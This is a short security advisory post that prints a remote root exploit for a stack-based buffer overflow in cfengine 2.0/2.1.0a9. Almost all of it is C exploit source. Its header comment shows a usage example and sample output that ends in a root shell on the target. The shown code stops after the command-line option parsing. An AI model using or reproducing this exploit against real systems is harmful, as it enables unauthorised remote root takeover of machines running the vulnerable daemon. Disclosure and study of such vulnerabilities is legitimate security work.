As we reported in our previous article: Cfengine Remotely Exploitable Buffer Overflow (net.c), a remotely exploitable buffer overflow in Cfengine allows remote attackers to cause the program to execute arbitrary code.
The following exploit code is an improved exploit code for the mentioned vulnerability.
Credit:
The information has been provided by li0n7.
Exploit:
/* Remote root exploit for cfengine-2.0/2.1.0a9 (stack-based overflow) by Li0n7
*
* Vulnerability discovered by Nick Cleaton (nick[at]cleaton[dot]net)
*
* Contact me: Li0n7[at]voila[dot]fr
*
* Visit us: www.ioc.fr.st (for those who can speak French)
*
* My world: l7l.linux-fan.com
*
* Here's an example:
* ./exploit -h localhost -p 5308 -t 0
* [+] Building evil string to send (using ret = 0xbf7fec10)...
* [+] Connected to 127.0.0.1 on port 5308
* [+] Payload sent
* [+] Trying to connect to 127.0.0.1 on port 26112...
* [+] Let's rock on!
* Linux Li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*/
int
main(int argc,char *argv[])
{
int i, option, port = PORT;
long ret = RET,host = 0;
char * option_list = "h:p:r:t:", buffer[SIZE+1];
opterr = 0;
if (argc < 4) die(argv[0]);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'h':
host = resolve_host(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 'r':
ret = atol(optarg);
break;
case 't':
ret = exp_os[atoi(optarg)].ret;
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
die(argv[0]);
}